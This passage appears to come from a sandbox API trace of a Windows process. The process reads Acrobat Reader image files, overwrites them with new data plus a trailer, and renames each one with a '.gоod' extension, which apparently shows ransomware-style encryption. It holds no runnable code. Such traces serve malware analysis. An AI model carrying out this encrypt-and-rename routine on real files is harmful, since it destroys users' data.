lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png.gоod", lpFilePart=0x0) returned 0x87 [0179.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0179.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x674b4954, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3c7a)) returned 1 [0179.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0179.646] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\icons_retina.png.gоod")) returned 1 [0179.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0179.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0179.647] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x37ba5a8 | out: lpFileInformation=0x37ba5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a)) returned 1 [0179.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0179.647] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0179.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0179.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0179.648] GetFileType (hFile=0x7c8) returned 0x1 [0179.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0179.648] GetFileType (hFile=0x7c8) returned 0x1 [0179.648] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0179.648] ReadFile (in: hFile=0x7c8, lpBuffer=0x37baac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x37baac0*, lpNumberOfBytesRead=0x203ec758*=0x1000, lpOverlapped=0x0) returned 1 [0179.649] CloseHandle (hObject=0x7c8) returned 1 [0179.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0179.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0179.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0179.650] GetFileType (hFile=0x7c8) returned 0x1 [0179.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0179.650] GetFileType (hFile=0x7c8) returned 0x1 [0179.650] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x225a [0179.650] WriteFile (in: hFile=0x7c8, lpBuffer=0x37bbe08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x37bbe08*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0179.651] CloseHandle (hObject=0x7c8) returned 1 [0179.651] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0179.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0179.651] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0179.651] GetFileType (hFile=0x7c8) returned 0x1 [0179.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0179.651] GetFileType (hFile=0x7c8) returned 0x1 [0179.651] ReadFile (in: hFile=0x7c8, lpBuffer=0x37be148, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x37be148*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0179.683] CloseHandle (hObject=0x7c8) returned 1 [0179.683] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0179.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0179.683] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0179.683] GetFileType (hFile=0x7c8) returned 0x1 [0179.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0179.683] GetFileType (hFile=0x7c8) returned 0x1 [0179.683] WriteFile (in: hFile=0x7c8, lpBuffer=0x37bce20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x37bce20*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0179.683] CloseHandle (hObject=0x7c8) returned 1 [0179.683] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png", lpFilePart=0x0) returned 0x83 [0179.683] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png.gоod", lpFilePart=0x0) returned 0x88 [0179.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0179.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x67500d4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x226a)) returned 1 [0179.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0179.684] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations.png.gоod")) returned 1 [0179.685] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0179.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0179.685] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x383a730 | out: lpFileInformation=0x383a730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b)) returned 1 [0179.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0179.686] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0179.686] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0179.686] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0179.686] GetFileType (hFile=0x7c8) returned 0x1 [0179.686] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0179.686] GetFileType (hFile=0x7c8) returned 0x1 [0179.686] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0179.687] ReadFile (in: hFile=0x7c8, lpBuffer=0x383ac88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x383ac88*, lpNumberOfBytesRead=0x203ec758*=0x1000, lpOverlapped=0x0) returned 1 [0180.201] CloseHandle (hObject=0x7c8) returned 1 [0180.201] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0180.201] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0180.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0180.201] GetFileType (hFile=0x7c8) returned 0x1 [0180.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0180.201] GetFileType (hFile=0x7c8) returned 0x1 [0180.201] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x4d6b [0180.202] WriteFile (in: hFile=0x7c8, lpBuffer=0x3607130*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, lpOverlapped=0x0 | out: lpBuffer=0x3607130*, lpNumberOfBytesWritten=0x203ec678*=0x10, lpOverlapped=0x0) returned 1 [0180.202] CloseHandle (hObject=0x7c8) returned 1 [0180.203] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0180.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0180.203] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0180.203] GetFileType (hFile=0x7c8) returned 0x1 [0180.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0180.203] GetFileType (hFile=0x7c8) returned 0x1 [0180.203] ReadFile (in: hFile=0x7c8, lpBuffer=0x3609490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec708, lpOverlapped=0x0 | out: lpBuffer=0x3609490*, lpNumberOfBytesRead=0x203ec708*=0x1000, lpOverlapped=0x0) returned 1 [0180.237] CloseHandle (hObject=0x7c8) returned 1 [0180.238] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0180.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0180.238] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0180.238] GetFileType (hFile=0x7c8) returned 0x1 [0180.238] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0180.238] GetFileType (hFile=0x7c8) returned 0x1 [0180.238] WriteFile (in: hFile=0x7c8, lpBuffer=0x3608148*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203ec7b8, lpOverlapped=0x0 | out: lpBuffer=0x3608148*, lpNumberOfBytesWritten=0x203ec7b8*=0x1010, lpOverlapped=0x0) returned 1 [0180.238] CloseHandle (hObject=0x7c8) returned 1 [0180.238] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png", lpFilePart=0x0) returned 0x8a [0180.238] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png.gоod", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png.gоod", lpFilePart=0x0) returned 0x8f [0180.238] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec6f0) returned 1 [0180.238] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png"), fInfoLevelId=0x0, lpFileInformation=0x203ec7d0 | out: lpFileInformation=0x203ec7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x67a4ee05, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4d7b)) returned 1 [0180.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6b0) returned 1 [0180.239] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\illustrations_retina.png.gоod")) returned 1 [0180.240] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203ec260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0180.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec730) returned 1 [0180.240] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png"), fInfoLevelId=0x0, lpFileInformation=0x3686b18 | out: lpFileInformation=0x3686b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc)) returned 1 [0180.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0180.240] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0180.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0180.240] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0180.241] GetFileType (hFile=0x7c8) returned 0x1 [0180.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0180.241] GetFileType (hFile=0x7c8) returned 0x1 [0180.241] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x1000 [0180.241] ReadFile (in: hFile=0x7c8, lpBuffer=0x3687010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec758, lpOverlapped=0x0 | out: lpBuffer=0x3687010*, lpNumberOfBytesRead=0x203ec758*=0x1000, lpOverlapped=0x0) returned 1 [0180.699] CloseHandle (hObject=0x7c8) returned 1 [0180.714] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", nBufferLength=0x105, lpBuffer=0x203ec110, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png", lpFilePart=0x0) returned 0x7f [0180.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec630) returned 1 [0180.714] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\images\\new_icons.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0180.715] GetFileType (hFile=0x828) returned 0x1 [0180.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec5a0) returned 1 [0180.715] GetFileType (hFile=0x828) returned 0x1 [0180.715] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x203ec788*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203ec788*=0) returned 0x20bc [0180.715] WriteFile (in: hFile=0x828, lpBuffer=0x3502200*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203ec678, 